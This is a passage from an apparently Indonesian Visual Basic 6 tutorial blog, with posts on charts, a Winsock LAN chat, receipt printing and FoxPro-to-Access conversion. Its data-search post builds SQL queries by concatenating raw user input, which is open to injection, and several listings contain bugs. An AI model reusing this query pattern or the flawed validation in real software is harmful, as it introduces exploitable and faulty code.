stCell.row = 1
stCell.col = 1
CopyRecords sn, objExlSht, stCell
oExcel.Visible = True
oExcel.Interactive = True
Set objExlSht = Nothing
Set oExcel = Nothing
Set sn = Nothing
End Sub

Sub UpdateProgress(PB As Control, ByVal percent)
Dim num$
If Not PB.AutoRedraw Then
PB.AutoRedraw = -1
End If
PB.Cls
PB.ScaleWidth = 100
PB.DrawMode = 10
num$ = Barstring & Format$(percent, "###") + "%"
PB.CurrentX = 50 - PB.TextWidth(num$) / 2
PB.CurrentY = (PB.ScaleHeight - PB.TextHeight(num$)) / 2
PB.Print num$
PB.Line (0, 0)-(percent, PB.ScaleHeight), , BF
PB.Refresh
End Sub

Untuk source codenya silakan donlot disini

Membuat grafik atau chart sederhana

2009-04-02T21:42:00.004+07:00

Grafik atau chart terkadang bisa dijadikan acuan untuk melihat perkembangan suatu barang atau produk, dll. Dengan grafik atau chart orang bisa dengan mudah mengambil kesimpulan tentang perbandingan yang ada.
Nah untuk itu kali ini penulis mencoba mengajak vbthok mania untuk membuat grafik atau chart sederhana tentang perkembangan kendaraan yang sering digunakan.Dari sini mungkin vbthok mania bisa mengembangkan lagi ke grafik2 yang lain tentunya lebih spesifik lagi.
Berikut contoh grafik yang sudah penulis buat

componen yang dibutuhkan adalah picturebox1, timer, label, textbox, commandbutton
desain sesuai contoh diatas atau sesuai dengan selera vbthok mania
kemudian masukkan script code dibawah ini kedalam form
Private Sub Command2_Click()

End Sub

Private Sub Command3_Click()

Picture1.Cls
Text2.Text = 5000 - Val(TextA)
Text3.Text = 5000 - Val(TextB)
Text4.Text = 5000 - Val(TextC)
Text5.Text = 5000 - Val(TextD)
Text6.Text = 5000 - Val(TextE)
Timer1.Enabled = True

End Sub

Private Sub Timer1_Timer()
For i = 1 To 1500
Picture1.Line (0 + i, Text2.Text)-(0 + i, Picture1.Height), vbRed
Picture1.Line (1500 + i, Text3.Text)-(1500 + i, Picture1.Height), vbGreen
Picture1.Line (3000 + i, Text4.Text)-(3000 + i, Picture1.Height), vbBlue
Picture1.Line (4500 + i, Text5.Text)-(4500 + i, Picture1.Height), vbYellow
Picture1.Line (6000 + i, Text6.Text)-(6000 + i, Picture1.Height), vbMagenta
Next i
Timer1.Enabled = False
End Sub

mudah bukan?? kalo ada ingin program jadinya silakan donlot disini

Membuat program client server menggunakan acces

2009-03-16T08:37:00.008+07:00

Server Side Tambahkan component Microsoft Winsock Control , Microsoft ADO Data Control dan Microsoft DataGrid

Buat design layout
Isi tombol connect dengan script dibawah ini

• Client Side
Tambahkan component Microsoft WinSock Control pada tool bar, kemudian buat layout seperti desain dibawah ini

Ebook VB untuk pemula

2009-03-10T12:48:00.005+07:00

Mungkin diantara vbthok mania yang masih pemula bingung mau belajar visual basic tapi belum mengerti tentang apa dan bagaimana visual basic, nah sedangkan mau beli buku uang pas2an,hehehe memang buku komputer harganya lumayan mahal...
Ada juga dari temen vbthok yang kasih comment minta dijelasin step by step. So penulis ingin memberikan alternatif buat belajar visual basic melalui ebook, kali ini penulis mengutip dari tulisan mas khrisna dari situs ilmu komputer untuk di share bagi yang ingin belajar visual basic dari awal silakan donload ebooknya disini
Selamat belajar semoga bermanfaat....Semangat!!!

Membuat program chating LAN sederhana

2009-03-08T20:29:00.006+07:00

Hai para vbthok mania…sudah hampir 2 bulan neh penulis tidak produktif dalam pembuatan artikel untuk vbthok mania dikarenakan penulis lagi sibuk dengan pekerjaan yang menyita bnyak waktu.Hehehe…sok sibuk deeh…
Oke kali ini penulis ingin mengajak vbthok mania untuk sharing lagi dalam pembuatan program chating dimana program ini dibuat hanya untuk Local Area Network (LAN) dan tidak untuk online diinternet. Mungkin kalian berfikir kenapa hanya untuk LAN saja tidak bisa untuk online diinternet, nah kalo untuk online diinternet mungkin sudah banyak program jadi yang tidak kalah keren dan handal seperti yahoo messeger, so kalian bisa menggunakan program jadi tersebut daripada buat sendiri…Hehehehe
Tapi jangan salah kalo kalian ingin chat hanya untuk LAN mungkin kalian tidak akan bisa menggunakan program yahoo messenger dan untuk itu penulis ingin membuat program chating hanya untuk LAN saja. Yah sapa tau dengan program sederhana ini vbthok mania ingin mengembangkannya lagi menjadi program yang setara dengan yahoo messenger atau bahkan bisa dipakai di internet dan LAN.Woww..kereen tuuh…
Yawda tanpa panjang lebar lagi sekarang buatlah 1 project untuk server yang nantinya program ini dijalankan pada komputer yang dijadikan server, nah didalam project ini buat 1 form dan berikan 1 komponen winsock dengan mengaktifkan komponen microsoft winsock control terlebih dahulu ditabel komponen pada program visual basic, setting propertis untuk name winsock diganti menjadi server. Kemudian desain tampilan sesuai yang ada pada gambar dengan memberikan 1 textbox untuk tabel messageg chat yang disetting propertisnya untuk name = tbmessage multiline = true, scrollbar = vertical kemudian 1 text untuk tulis pesan dengan setting propertisnya name = tbsay, 2 label untuk tombol connect dan disconnect dengan setting propertis label1 name = startt dan label2 name = stopp. Berikut tampilan preview program chat untuk server yang sudah jadi

Untuk yang client hampir sama tinggal menambahkan text untuk ip address server saja dan tombol untuk koneksi, berikut tampilan untuk program clientnya

untuk sorce codenya sebagai berikut
'form server
Private Sub Form_Load()
startt.Visible = True
stopp.Visible = False
End Sub

Private Sub stopp_Click()
startt.Visible = True
Server.Close
stopp.Visible = False
End Sub

Private Sub Label1_Click()
End
End Sub

Private Sub startt_Click()
stopp.Visible = True

startt.Visible = False
Server.LocalPort = 2500
Server.Listen
End Sub

Private Sub Server_ConnectionRequest(ByVal requestID As Long)
Server.Close
Server.Accept requestID
End Sub

Private Sub Server_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Call MsgBox(Description, bvExclimation, "Error Num." & Number)
End Sub

Private Sub Server_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Server.GetData strData
tbMessages.Text = tbMessages & "Client: " & strData & vbCrLf
End Sub

Private Sub tbSay_KeyPress(KeyAscii As Integer)
On Error Resume Next
Dim strMessage As String
If KeyAscii = (13) Then
strMessage = tbSay.Text
tbMessages.Text = tbMessages.Text & "Server: " & tbSay & vbCrLf
Server.SendData strMessage
tbSay.Text = ""
End If
End Sub

'form client
Private Sub exit_Click()
End
End Sub

Private Sub Form_Load()
tbl_konek.Visible = True
tbl_disconect.Visible = False

End Sub

Private Sub tbl_konek_Click()
On Error GoTo Error:
Client.RemotePort = 2500
Client.RemoteHost = tbIP.Text
Client.Connect
tbl_konek.Visible = False
tbl_disconect.Visible = True
Error: Exit Sub
End Sub

Private Sub cbConnect_Click()

End Sub

Private Sub tbl_disconect_Click()
Client.Close
tbl_konek.Visible = True
tbl_disconect.Visible = False

End Sub

Private Sub tbSay_KeyPress(KeyAscii As Integer)
On Error Resume Next
Dim strData As String
If KeyAscii = (13) Then
strData = tbSay.Text
tbMessages.Text = tbMessages.Text & "Client: " & tbSay & vbCrLf
Client.SendData strData
tbSay.Text = ""
End If
End Sub

Private Sub Client_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Client.GetData strData
tbMessages.Text = tbMessages & "Server: " & strData & vbCrLf
End Sub

Private Sub Client_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Call MsgBox(Description, vbExclamation, "Error Num." & Number)
End Sub

Segitu aja script kodenya, silakan mencoba sendiri dan berkespresi lagi dalam mengembangkan program chat untuk LAN ini....yang pasti tetep semangat dan pantang menyerah untuk belajar. OK??
Oiya untuk yang pengen liat lansung source codenya bisa di donlot disini

Menghitung lama waktu komputer dijalankan

2009-01-27T09:49:00.005+07:00

Pernahkah kalian mencoba menghitung lama komputer dihidupkan?? dari mulai komputer dinyalakan.Nah kali ini penulis akan mencoba membuat program penghitung waktu dengan menggunakan fungsi API.
Yang perlu disiapkan yaitu 1 form, 1 module,1 komponen timer kemudian atur desainnya seperti contoh preview dibawah ini

berikut ini untuk source codenya
'untuk form 1
Private Sub Form_Load()
nTime = GetTickCount()
End Sub

Private Sub Timer1_Timer()
Dim Time As Long
Dim detik As Long
Dim menit As Long
Dim jam As Long

' untuk me-refesh timer ini gunakan
' setting interval dalam properti timer
' dengan nilai 1000 (1 detik)

Time = GetTickCount()
detik = Round(Time / 1000)
menit = Round(detik / 60)
jam = Round(menit / 60)

List1.Clear
' List1.AddItem ("Total waktu berjalan = " & vbTab & Time & " millisecond")
List1.AddItem ("")
List1.AddItem (jam & " Jam, atau " & _
menit & " Menit, atau " & _
detik & " Detik")
List1.AddItem ""
List1.AddItem "Waktu dari mulai program ini dijalankan: " & Round((Time - nTime) / 1000) & " Detik"

End Sub

' script untuk module

Public Declare Function GetTickCount Lib "kernel32" () As Long
Public nTime As Long

Selesai sudah script kodeya skrg tinggal di compile dan pasti jalan programnya, kalo ada error mungkin bisa liat program masternya...donlot disini

Teknik Pencarian Data

2009-01-19T10:55:00.003+07:00

Ada diantara vbthok mania kemaren yang minta penulis membahas tentang teknik pencarian data, nah kali ini akan coba dibahas semoga bisa dijadikan bahan referensi bagi vbthok mania agar bisa mengembangkan lagi teknik pencarian data yang lebih luas dan akurat.
berikut ini tampilan form pencarian data

untuk penggunaan data bisa dicari melalui filter data berdasarkan nama, alamat, notelp jika sudah ditentukan baru inputkan data yang dicari. misal : data yang dicari bernama doni maka pilih berdasarkan nama kemudian ketikkan doni pada kolom cari data kemudian enter setelah muncul klik detail pencarian maka segala macam info tentang doni bisa dilihat pada form detail.

untuk script kodenya neeeh...
'form utama
Private Sub Command1_Click()
On Error Resume Next
Dim cari As String
Dim cari1 As String
Dim cari2 As String
cari = "nama='" & Text1.Text & "'"
cari1 = "alamat='%" & Text1.Text & "'%"
cari2 = "notelp='%" & Text1.Text & "'%"
Adodc1.Recordset.MoveFirst
Adodc1.Recordset.Find cari
Adodc1.Recordset.Find cari1
Adodc1.Recordset.Find cari2
'Adodc1.Recordset.EOF
If Combo1.ListIndex = 0 Then
Adodc1.Recordset.MoveFirst
Adodc1.Recordset.Find cari
Form2.Show
detail
ElseIf Combo1.ListIndex = 1 Then
Adodc1.Recordset.MoveFirst
Adodc1.Recordset.Find cari1
Form2.Show
detail
ElseIf Combo1.ListIndex = 5 Then
Adodc1.Recordset.MoveFirst
Adodc1.Recordset.Find cari2
Form2.Show
detail
End If
Adodc1.Recordset.MoveFirst
End Sub

Sub detail()
'On Error Resume Next
Dim MGrs As String
MGrs = String$(50, "-")
Form2.CurrentX = 0
Form2.CurrentY = 0
Form2.Font = "Courier New"
Form2.FontSize = 10
Form2.FontBold = True
Form2.Print Tab(27); ""
Form2.Print Tab(5); " D E T A I L P E N C A R I A N D A T A "
Form2.FontBold = False
Form2.Print
Form2.Print Tab(5); "Nama : ";
Form2.Print Tab(15); Adodc1.Recordset!nama
Form2.Print Tab(5); "Alamat : ";
Form2.Print Tab(15); Adodc1.Recordset!alamat
Form2.Print Tab(5); "No Telp : ";
Form2.Print Tab(15); Adodc1.Recordset!notelp
Form9.FontBold = False
Form9.Print Tab(5); ""
Form9.Print Tab(5); ""
Form9.Print Tab(5); ""
End Sub

Private Sub Form_Load()

End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
If KeyAscii = 13 Then
If Combo1.ListIndex = 0 Then
Adodc1.RecordSource = "select * from data where nama like'%" & Text1.Text & "%'"
Adodc1.Refresh
ElseIf Combo1.ListIndex = 1 Then
Adodc1.RecordSource = "select * from data where alamat like'%" & Text1.Text & "%'"
Adodc1.Refresh
ElseIf Combo1.ListIndex = 2 Then
Adodc1.RecordSource = "select * from data where notelp like'%" & Text1.Text & "%'"
Adodc1.Refresh
End If
End If
End Sub

Private Sub Text1_KeyUp(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case Is = vbKeyEscape
Adodc1.RecordSource = "select * from data"
Adodc1.Refresh
End Select
End Sub

Nah, mudah khan?? tinggal bagaimana vbthok mania mengembangkan sendiri sehingga pencarian lebih akurat.Tapi saya rasa ini sudah contoh yang paling akurat..hehehe...
untuk yang males membuatnya silakan download disini

Membuat Nota Print Out Penjualan

2009-01-13T14:58:00.010+07:00

Hmmm udah hampir stengah bulan penulis blum berbagi ilmu dengan vbthok mania coz terlalu banyak kesibukan penulis jadi gak sempet2 buat mengisi artikel...
Hari ini penulis mencoba ingin memberi contoh cara membuat nota prin out penjualan, yah sapa tau bisa dijadikan referensi buat desain tampilan nota agar lebih keren..
yang perlu disiapkan adalah :
buat 2 form dan aktifkan preference microsoft DAO 2.5/3.51, microsoft activex data object library, aktifkan komponen microsoft databoundgrid dan data boundlist.
kemudian desain sesuai contoh.Untuk backgorund bs kalian buat sendiri di adobe photoshop.
dan berikut preview program yang sudah jadi

Dan berikut hasil nota yang dihasilkan jika di print

untuk scriptnya ada disini
' untuk form penjualan

Public dbs As Database
Dim tot As Single

Private Sub chameleonButton1_Click()
Form9.Show
End Sub

Private Sub chameleonButton2_Click()
'On Error Resume Next

End Sub

Private Sub hapus()
'On Error Resume Next
temp.Recordset.MoveFirst
Do
temp.Recordset.Delete
temp.Recordset.MoveNext
Loop Until temp.Recordset.EOF
DBGrid1.Refresh
End Sub

Private Sub Command1_Click()

End Sub

Private Sub Command2_Click()

End Sub

Private Sub DBCombo2_Click(Area As Integer)
'DBGrid2.Visible = True
End Sub

Private Sub DBGrid2_Click()

End Sub

Private Sub Form_Load()
'On Error Resume Next
Dim total As Single
Data1.DatabaseName = App.Path & "\pabrik.mdb"
Dbrg.DatabaseName = App.Path & "\pabrik.mdb"
HPes.DatabaseName = App.Path & "\pabrik.mdb"
DPes.DatabaseName = App.Path & "\pabrik.mdb"
HJual.DatabaseName = App.Path & "\pabrik.mdb"
Djual.DatabaseName = App.Path & "\pabrik.mdb"
temp.DatabaseName = App.Path & "\pabrik.mdb"
Data.DatabaseName = App.Path & "\key.mdb"
Data2.DatabaseName = App.Path & "\key.mdb"
Data2.RecordSource = "jual"
Dbrg.RecordSource = "barang"
Data1.RecordSource = "customer"
HPes.RecordSource = "h_pesan"
DPes.RecordSource = "d_pesan"
HJual.RecordSource = "h_jual"
Djual.RecordSource = "d_jual"
temp.RecordSource = "temp_jual"
Data.RecordSource = "temp"
Set dbs = OpenDatabase(App.Path & "\key.mdb")
Set Data.Recordset = dbs.OpenRecordset("temp", dbOpenDynaset)
On Error Resume Next
Me.Left = (Screen.Width - Me.Width) / 2
Me.Top = (Screen.Height - Me.Height) / 6
TTglBon.Text = Format(Date, "dd - mm - yyyy")
End Sub

Private Sub CAuto_Click()
On Error Resume Next
Dim NoB As Long
Dim NoL As String
If HJual.Recordset.BOF And HJual.Recordset.EOF Then
NoB = 1
Else
HJual.Recordset.MoveLast
NoB = Val(HJual.Recordset!No_nota) + 1
End If
TNoBon.Text = Left("00000", 6 - Len(Trim(Str(NoB)))) & Trim(Str(NoB))
End Sub

Private Sub DBCombo2_Change()
'On Error Resume Next
HPes.Recordset.Index = "np"
HPes.Recordset.Seek "=", DBCombo2.Text
If Not HPes.Recordset.NoMatch Then
Tcust.Text = HPes.Recordset!kd_cust
Set Data.Recordset = dbs.OpenRecordset("select * from temp where no_pes like '*" & DBCombo2.Text & "*'", dbOpenDynaset)
Do
temp.Recordset.AddNew
temp.Recordset!kd_brg = Data.Recordset!kd_brg
temp.Recordset!grup = Data.Recordset!grup
temp.Recordset!nama = Data.Recordset!nama
temp.Recordset!jumlah = Data.Recordset!jumlah
temp.Recordset!total = Data.Recordset!total
temp.Recordset.Update
temp.Refresh
Data.Recordset.MoveNext
Loop Until Data.Recordset.EOF
tdisc.SetFocus
End If
Dim TTemp As Single
TTemp = 0
On Error Resume Next
temp.Recordset.MoveFirst
Do
TTemp = TTemp + temp.Recordset!total
temp.Recordset.MoveNext
Loop Until temp.Recordset.EOF
ttotal.Caption = Format(TTemp, "###,###,###")
On Error GoTo 0
End Sub

Private Sub TJumlah_KeyPress(KeyAscii As Integer)
On Error Resume Next
If Not (KeyAscii >= Asc("0") And KeyAscii <= Asc("9") Or KeyAscii = vbKeyBack) Then
Beep
KeyAscii = 0
End If
End Sub

Private Sub Label15_click()
'On Error Resume Next
Dim Jum As Integer
Dim X As Integer
Jum = 0
CAuto_Click
If DBCombo2.Text = "" Then
X = MsgBox("No Pesan belum diisi !!", vbOKOnly)
DBCombo2.SetFocus
Exit Sub
End If
If tbayar.Text = "0" Or tbayar.Text = "" Then
X = MsgBox("Bayar dulu... !!", vbOKOnly)
tbayar.SetFocus
Exit Sub
End If
If HJual.Recordset.BOF = False And HJual.Recordset.EOF = False Then HJual.Recordset.MoveLast
HJual.Recordset.AddNew
HJual.Recordset!No_nota = TNoBon.Text
HJual.Recordset!Tgl_jual = TTglBon.Text
HJual.Recordset!No_pesan = DBCombo2.Text
HJual.Recordset!bayar = tbayar.Text
HJual.Recordset!disc = tdisc.Text
HJual.Recordset!total = tbali.Caption
HJual.Recordset.Update
HJual.Refresh
temp.Recordset.MoveFirst
Do
If Djual.Recordset.BOF = False And Djual.Recordset.EOF = False Then Djual.Recordset.MoveLast
Djual.Recordset.AddNew
Djual.Recordset!No_nota = TNoBon.Text
Djual.Recordset!kd_brg = temp.Recordset!kd_brg
Djual.Recordset!jumlah = temp.Recordset!jumlah
Djual.Recordset.Update
Djual.Refresh
Data2.Recordset.AddNew
Data2.Recordset!No_nota = TNoBon.Text
Data2.Recordset!kd_brg = temp.Recordset!kd_brg
Data2.Recordset!grup = temp.Recordset!grup
Data2.Recordset!nama = temp.Recordset!nama
Data2.Recordset!jumlah = temp.Recordset!jumlah
Data2.Recordset!disc = tdisc.Text
Data2.Recordset!total = temp.Recordset!total
Data2.Recordset!bayar = tbayar.Text
Data2.Recordset.Update
Data2.Refresh
temp.Recordset.MoveNext
Loop Until temp.Recordset.EOF
X = MsgBox("Data sudah tersimpan...,Data mau dicetak ?", vbYesNo, "INFORMASI")
If X = vbYes Then cetak
kosong
DBCombo2.SetFocus
hapus
End Sub
Private Sub kosong()
'On Error Resume Next
hapus
CAuto_Click
DBCombo2.Text = ""
Tcust.Text = ""
tnama.Text = ""
Talamat.Text = ""
Tkota.Text = ""
Ttelp.Text = ""
tdisc.Text = ""
ttotal.Caption = ""
tbayar.Text = ""
tbali.Caption = ""
End Sub

Private Sub cetak()
On Error Resume Next
Dim MGrs As String
MGrs = String$(80, "-")
Printer.CurrentX = 0
Printer.CurrentY = 0
Printer.Font = "Courier New"
Printer.FontSize = 10
Printer.FontBold = True
Printer.Print Tab(27); ""
Printer.Print Tab(27); ""
Printer.Print Tab(29); " www.VBthok.co.cc "
Printer.FontBold = False
Printer.Print Tab(25); " JL. Bolak Balik Gang Buntu No .25 "
Printer.Print Tab(18); " Telp.(0341)-xxxxxxx,xxxxx Email: tome.mine@gmail.com"
Printer.Print Tab(27); ""
Printer.Print Tab(29); " N O T A P E N J U A L A N"
Printer.Print
Printer.Print Tab(5); "No.Nota :";
Printer.Print Tab(16); TNoBon.Text;
Printer.Print Tab(58); "Tanggal :";
Printer.Print Tab(63); TTglBon.Text
Printer.Print Tab(3); MGrs
Printer.Print Tab(5); "No_pesan :";
Printer.Print Tab(16); DBCombo2.Text;
Printer.Print Tab(5); "Kd_cust :";
Printer.Print Tab(16); Tcust.Text
Data1.Recordset.Index = "Kc"
Data1.Recordset.Seek "=", Tcust.Text
If Not Data1.Recordset.NoMatch Then
Printer.Print Tab(5); "Nama : ";
Printer.Print Tab(16); Data1.Recordset!nama
Printer.Print Tab(5); "Alamat : ";
Printer.Print Tab(16); Data1.Recordset!Alamat
Printer.Print Tab(5); "Kota : ";
Printer.Print Tab(16); Data1.Recordset!Kota
Printer.Print Tab(5); "Telepon : ";
Printer.Print Tab(16); Data1.Recordset!telp
End If
Printer.Print Tab(3); MGrs
Printer.Print Tab(5); "KODE";
Printer.Print Tab(15); "Grup";
Printer.Print Tab(35); "Nama";
Printer.Print Tab(57); "Jumlah";
Printer.Print Tab(75); "Total"
Printer.Print Tab(3); MGrs
temp.Recordset.MoveFirst
Do
Printer.Print Tab(5); temp.Recordset!kd_brg;
Printer.Print Tab(15); temp.Recordset!grup;
Printer.Print Tab(35); temp.Recordset!nama;
Printer.Print Tab(58); RKanan(temp.Recordset!jumlah, "###0");
Printer.Print Tab(71); RKanan(temp.Recordset!total, "##,###,###")
temp.Recordset.MoveNext
Loop Until temp.Recordset.EOF
Printer.Print Tab(4); MGrs
Printer.Print Tab(55); "SUB TOTAL : ";
Printer.Print Tab(67); "Rp. " & RKanan(ttotal.Caption, "##,###,###") & ",-";
Printer.Print Tab(55); "Disc : ";
Printer.Print Tab(67); tdisc.Text, "%";
Printer.Print Tab(55); "Bayar : ";
Printer.Print Tab(67); "Rp. " & RKanan(tbayar.Text, "##,###,###") & ",-";
Printer.Print Tab(55); "TOTAL : ";
Printer.Print Tab(67); "Rp. " & RKanan(tbali.Caption, "##,###,###") & ",-";
Printer.Print Tab(12); "Hormat Kami,"
Printer.Print Tab(5); ""
Printer.Print Tab(5); ""
Printer.Print Tab(5); ""
Printer.Print Tab(5); "( www.VBthok.co.cc )"
Printer.EndDoc
End Sub

Private Function RKanan(NData, CFormat) As String
On Error Resume Next
RKanan = Format(NData, CFormat)
RKanan = Space(Len(CFormat) - Len(RKanan)) + RKanan
End Function

Private Sub Label11_Click()
temp.Refresh
hapus
kosong
End
End Sub

Private Sub Label14_Click()
Form9.Show
End Sub

Private Sub reset_Click()
On Error Resume Next
DBGrid2.Visible = False
lab.Visible = False
lab.Visible = False
temp.Refresh
hapus
kosong
End Sub

Private Sub tbayar_Change()
lab.Visible = True
End Sub

Private Sub tbayar_KeyPress(KeyAscii As Integer)
On Error Resume Next
If KeyAscii = 13 Then
Form9.Show
prev
End If
End Sub

Private Sub tbayar_KeyUp(KeyCode As Integer, Shift As Integer)
On Error Resume Next
Select Case KeyCode
Case Is = vbKeyEscape
Form9.Show
prev
End Select
End Sub

Private Sub Tcust_Change()
'On Error Resume Next
Data1.Recordset.Index = "kc"
Data1.Recordset.Seek "=", Tcust.Text
If Not Data1.Recordset.NoMatch Then
tnama.Text = Data1.Recordset!nama
Talamat.Text = Data1.Recordset!Alamat
Tkota.Text = Data1.Recordset!Kota
Ttelp.Text = Data1.Recordset!telp
End If
End Sub

Private Sub tdisc_KeyPress(KeyAscii As Integer)
On Error Resume Next
DBGrid2.Visible = False
Dim disc As Single
If KeyAscii = 13 Then
disc = ttotal.Caption * tdisc.Text / 100
tbali.Caption = Format(ttotal.Caption - disc, "#,#,0")
tbayar.SetFocus
End If
End Sub

Private Sub prev()
On Error Resume Next
Dim MGrs As String
MGrs = String$(80, "-")
Form9.CurrentX = 0
Form9.CurrentY = 0
Form9.Font = "Courier New"
Form9.FontSize = 10
Form9.FontBold = True
Form9.Print Tab(27); ""
Form9.Print Tab(27); ""
Form9.Print Tab(29); " www.VBthok.co.cc "
Form9.FontBold = False
Form9.Print Tab(25); " JL. Bolak Balik Gang Buntu No .25 "
Form9.Print Tab(18); " Telp.(0341)-xxxxxxx,xxxxx Email: tome.mine@gmail.com"
Form9.Print Tab(27); ""
Form9.Print Tab(29); " N O T A P E N J U A L A N"
Form9.Print
Form9.Print Tab(5); "No.Nota :";
Form9.Print Tab(16); TNoBon.Text;
Form9.Print Tab(58); "Tanggal :";
Form9.Print Tab(68); TTglBon.Text
Form9.Print Tab(3); MGrs
Form9.Print Tab(5); "No_pesan :";
Form9.Print Tab(16); DBCombo2.Text;
Form9.Print Tab(5); "Kd_cust :";
Form9.Print Tab(16); Tcust.Text
Data1.Recordset.Index = "Kc"
Data1.Recordset.Seek "=", Tcust.Text
If Not Data1.Recordset.NoMatch Then
Form9.Print Tab(5); "Nama : ";
Form9.Print Tab(16); Data1.Recordset!nama
Form9.Print Tab(5); "Alamat : ";
Form9.Print Tab(16); Data1.Recordset!Alamat
Form9.Print Tab(5); "Kota : ";
Form9.Print Tab(16); Data1.Recordset!Kota
Form9.Print Tab(5); "Telepon : ";
Form9.Print Tab(16); Data1.Recordset!telp
End If
Form9.Print Tab(3); MGrs
Form9.Print Tab(5); "KODE";
Form9.Print Tab(15); "Grup";
Form9.Print Tab(35); "Nama";
Form9.Print Tab(57); "Jumlah";
Form9.Print Tab(75); "Total"
Form9.Print Tab(3); MGrs
temp.Recordset.MoveFirst
Do
Form9.Print Tab(5); temp.Recordset!kd_brg;
Form9.Print Tab(15); temp.Recordset!grup;
Form9.Print Tab(35); temp.Recordset!nama;
Form9.Print Tab(58); RKanan(temp.Recordset!jumlah, "###0");
Form9.Print Tab(71); RKanan(temp.Recordset!total, "##,###,###")
temp.Recordset.MoveNext
Loop Until temp.Recordset.EOF
Form9.Print Tab(4); MGrs
Form9.Print Tab(55); "SUB TOTAL : ";
Form9.Print Tab(67); "Rp. " & RKanan(ttotal.Caption, "##,###,###") & ",-";
Form9.Print Tab(55); "Disc : ";
Form9.Print Tab(67); tdisc.Text, "%";
Form9.Print Tab(55); "Bayar : ";
Form9.Print Tab(67); "Rp. " & RKanan(tbayar.Text, "##,###,###") & ",-";
Form9.Print Tab(55); "TOTAL : ";
Form9.Print Tab(67); "Rp. " & RKanan(tbali.Caption, "##,###,###") & ",-";
Form9.Print Tab(12); "Hormat Kami,"
Form9.Print Tab(5); ""
Form9.Print Tab(5); ""
Form9.Print Tab(5); ""
Form9.Print Tab(5); "( www.VBthok.co.cc )"
End Sub

Private Sub Timer1_Timer()
lab.ForeColor = QBColor(Rnd * 15)
End Sub

'untuk form preview

Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
On Error Resume Next
Select Case KeyCode
Case Is = vbKeyEscape
Unload Me
End Select
End Sub

Private Sub Form_Load()
On Error Resume Next
Me.Left = (Screen.Width - Me.Width) / 2
Me.Top = (Screen.Height - Me.Height) / 6
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Label1.ForeColor = QBColor(Rnd * 15)
End Sub

Oke deeh cukup segitu aja script kodenya, mudah khann?? hehehe kalo kalian msh bingung neh silakan donlot source codenya disini

Program konversi database foxpro ke database acces

2009-01-02T10:37:00.004+07:00

Mungkin ada diantara vbthok mania yang sekarang masih menggunakan program foxpro dan ingin berpindah ke program VB tapi bingung dengan database yang ada di foxpro? ato ada yang ingin membuat program konversi tapi masih bingung buatnya.Tenaang...penulis akan mencoba mengupasnya dalam artikel perdana menyambut tahun baru 2009...hehehe...out of topic
sebelumnya aktifkan dulu komponen pereference:
microsoft DAO 3.51 object librabry
microsoft ActiveX Data Object 2.5 librabry
microsoft outlook 10.0 object library

berikut tampilan programnya
nah ini script kodenya
'form 1
Const devName = "www.vbthok.co.cc"
Const myMail = "tome.mine@gmail.com"

'-----------Variables for reading & retrieving foxpro database
Dim myCon As Database
Dim myRec As Recordset
'--------------------------------------------------------------

'-----------Variables for reading & retrieving Access database
Dim newCon As New ADODB.Connection
Dim newRec As New ADODB.Recordset
'--------------------------------------------------------------

Dim xDatanum As Integer
Dim foxFile, mdbFile, xSQL As String

Private Sub Command1_Click()
'-----------Start Converting
xSQL = ""
On Error Resume Next

If File1.FileName = "" Or UCase(Right$(File1.FileName, 3)) <> "DBC" Then
MsgBox "Invalid Foxpro Database Selected" & vbCrLf & "Please Select a valid Foxpro Database (*.dbc)", vbCritical, devName
Exit Sub
Else
'---Stores the file name with the whole path
stroke1 = IIf(Len(Dir1.Path) = 3, "", "\")
foxFile = Trim(UCase(Left$(Drive1.Drive, 1)) & ":\" & Mid(Dir1.Path, 4, Len(Dir1.Path)) & stroke1 & File1.FileName)
MsgBox foxFile

End If

If Text1.Text = "" Then
MsgBox "Enter a Valid Name", vbCritical, devName
Exit Sub
End If

If Len(Text1.Text) > 8 Then
MsgBox "File Name cannot be more then 8 characters", vbInformation, devName
Exit Sub
End If

newFile = Text1.Text

'------Cheking if the File name contains any Junk characters----
For i = 1 To Len(newFile)

eachChar = Mid$(newFile, 1, i)
eachChar = Right(eachChar, 1)

If Asc(eachChar) <> 122 Then
MsgBox "No Characters other then alphabets are allowed", vbCritical, devName
Exit Sub
End If

If Asc(eachChar) > 90 And Asc(eachChar) < 97 Then
MsgBox "No Characters other then alphabets are allowed", vbCritical, devName
Exit Sub
End If

Next

If Option1.Value = False And Option2.Value = False Then
MsgBox "Select any one option for type of convertion", vbCritical, devName
Exit Sub
End If

stroke2 = IIf(Len(Dir2.Path) = 3, "", "\")
mdbFile = UCase(Left$(Drive2.Drive, 1)) & ":\" & Mid(Dir2.Path, 4, Len(Dir2.Path)) & stroke2 & Text1.Text
confirm = MsgBox("Confirm Convertion " & foxFile & " to " & mdbFile & ".mdb", vbYesNo, devName)

If confirm = 7 Then Exit Sub

Form1.MousePointer = 11

'--- "myCon" Provides link 2 Foxpro Database
Set myCon = OpenDatabase(foxFile, False, False, "Foxpro DBC")

'--Create MDB Database
Set newCon = DBEngine.Workspaces(0).CreateDatabase(mdbFile, dbLangGeneral, dbVersion30)

'--Opening the Database
newCon.Open "DRIVER={Microsoft Access Driver (*.mdb)};dbq=" & mdbFile

'-----------------------------------------------------------------

'--- "TableDefs.counts" the number of tables present in the Database

For j = 1 To myCon.TableDefs.Count
Debug.Print myCon.TableDefs(j - 1).Name
'Set myRec = myCon.Execute("Select * from " & myCon.TableDefs(j - 1).Name)
Set myRec = myCon.OpenRecordset(myCon.TableDefs(j - 1).Name)

'---------------Generating SQL statement for Creating Tables-----
Comma = " , "
SQL = ""
SQL = "Create Table " & myCon.TableDefs(j - 1).Name & "("

For q = 1 To myRec.Fields.Count
Debug.Print myRec.Fields(q - 1).Name

xDatanum = myRec.Fields(q - 1).Type

SQL = SQL & myRec(q - 1).Name & " " & Datatype(xDatanum)

If q < myRec.Fields.Count Then
SQL = SQL & Comma
Else
SQL = SQL & ""
End If

Next

